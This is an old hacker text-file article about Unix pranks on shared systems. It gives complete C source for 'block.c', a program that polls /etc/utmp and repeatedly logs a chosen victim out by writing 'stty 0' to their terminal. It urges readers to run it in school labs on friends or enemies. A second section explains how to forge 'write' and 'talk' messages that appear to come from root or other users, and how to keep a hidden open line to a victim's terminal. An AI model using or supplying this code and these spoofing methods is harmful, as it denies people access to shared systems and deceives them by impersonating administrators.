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Unix - Odds & Ends
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1. Keeping Users Off The System
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Now, we all know by now how to log users off (one way is to redirect
an 'stty 0' command to their tty) but unless you have root privs, this
will not work when a user has set 'mesg n' and prevented other users from
writing to their terminal. But even users who have a 'mesg n' command in
their .login (or .profile or .cshrc) file still have a window of vulnerability,
the time between login and the locking of their terminal. I designed the
following program, block.c, to take advantage of this fact.
To get this source running on your favorite Unix system, upload it,
call it 'block.c', and type the following at the % or $ prompt:
cc -o block block.c
once you've compiled it successfully, it is invoked like so:
block username [&]
The & is optional and recommended - it runs the program in the background,
thus letting you do other things while it's at work.
If the user specified is logged in at present, it immediately logs
them out (if possible) and waits for them to log in. If they aren't logged
in, it starts waiting for them. If the user is presently logged in but
has their messages off, you'll have to wait until they've logged out to
start the thing going.
Block is essentially an endless loop : it keeps checking for the occurence
of the username in /etc/utmp. When it finds it, it immediately logs them
out and continues. If for some reason the logout attempt fails, the program
aborts. Normally this won't happen - the program is very quick when run
unmodified. However, to get such performance, it runs in a very tight
loop and will eat up a lot of CPU time. Notice that near the end of the
program there is the line:
/*sleep(SLEEP) */
the /* and */ are comment delimiters - right now the line is commented
out. If you remove the comments and re-compile the program, it will then
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
at the end of every loop. This will save the system load but will slightly
decrease the odds of catching the user during their 'window of vulnerability.'
If you have a chance to run this program at a computer lab at a school or
somewhere similar, run this program on a friend (or an enemy) and watch
the reaction on their face when they repeatedly try to log in and are
logged out before they can do *anything*. It is quite humorous. This
program is also quite nasty and can make you a lot of enemies!
caveat #1: note that if you run the program on yourself, you will be logged
out, the program will continue to run (depending on the shell you're under)
and you'll have locked yourself out of the system - so don't do this!
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
work on your system.
caveat #3: If you run this program in background, don't forget to kill
it when you're done with it! (when you invoke it with '&', the shell will
give you a job number, such as '[2] 90125'. If you want to kill it later
in the same login session, type 'kill %2'. If you log in later and want
to kill it, type 'kill 90125'. Just read the man page on the kill command
if you need any help...
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/* block.c -- prevent a user from logging in
* by Shooting Shark
* usage : block username [&]
* I suggest you run this in background.
*/
#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>
#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"
main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];
if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}
for (;;) {
if ((fp = open(UTMP,0)) == -1) {
printf("fatal error! cannot open %s.\n",UTMP);
exit(-1);
}
while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {
printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}
} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);
/*sleep(SLEEP); */
} /* for */
}
----- cut here -----
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2. Impersonating other users with 'write' and 'talk'
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This next trick wasn't exactly a work of stupefying genius, but is a
little trick (that anybody can do) that I sometimes use to amuse myself
and, as with the above, annoy the hell out of my friends and enemies.
Nearly every Unix system has the 'write' program, for conversing with
other logged-in users. As a quick summary:
If you see that user 'clara' is logged in with the 'who' or 'w' command
or whatever, and you wish to talk to her for some reason or another,
you'd type 'write clara'. Clara then would see on her screen something
like this (given that you are username 'shark'):
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
You then type away at her, and whatever you type is sent to her terminal
line-by-line. If she wanted to make it a conversation rather than a
monologue, she'd type 'write shark,' you'd get a message similar to the above
on your terminal, and the two of you would type away at each other to your
little heart's content. If either one of you wanted to end the conversation,
you would type a ^D. They would then see the characters 'EOF' on their
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
Now, if you're on a bigger installation you'll probably have some sort
of full-screen windowing chat program like 'talk'. My version of talk
sends the following message:
Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with: talk shark@tibsys
Anyway, here's where the fun part begins: It's quite easy to put a sample
'write' or 'talk' message into a file and then edit so that the 'from'
is a different person, and the tty is listed differently. If you see that
your dorky friend roger is on ttyi10 and the root also happens to be
logged on on ttyi01, make the file look something like this:
[3 control-G's] Message from root on ttyi01 at [the current time]
wackawackawackawackawacka!!!
[or a similarly confusing or rude message...]
EOF
Then, send this file to roger's terminal with:
cat filename > /dev/ttyi10
He'll get the message on his terminal and wonder what the hell the
superuser is talking about. He might even 'write' back to the superuser
with the intent of asking 'what the hell are you talking about?'. For
maximum effectiveness, *simultaneously* send a message to root 'from'
roger at the appropriate terminal with an equally strange message - they'll
then engage in a conversation that will go something like "what did you
mean by that?" "what do you mean, what do I mean? What did *you* mean
by that?" etc. A splendid time is guaranteed for all! Note that you don't
have to make 'root' the perpetrator of the gag, any two currently logged-in
users who have their terminals open for messages can join in on the fun.
Similarly, you can fake a few 'talk' pages from/to two people...they will
then probably start talking...although the conversation will be along the
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
etcetera, while you laugh yourself silly or something like that.
A variation on the theme: As I said, when using 'write' you type a ^D to
end the conversation, and the person you're typing at sees an 'EOF' on
their screen. But you could also just *type* 'EOF', and they'd think
you've quit...but you still have an open line to their terminal. Even
if they later turn messages off, you still have the ability to write to
their terminal. Keeping this fact in mind, anybody who knows what they're
doing can write a program similar to my 'block' program above that doesn't
log a user out when they appear on the system, but opens their tty as
a device and keeps the file handle in memory so you can redirect to their
terminal - to write rude messages or to log them out or whatever - at any
time, until they log out.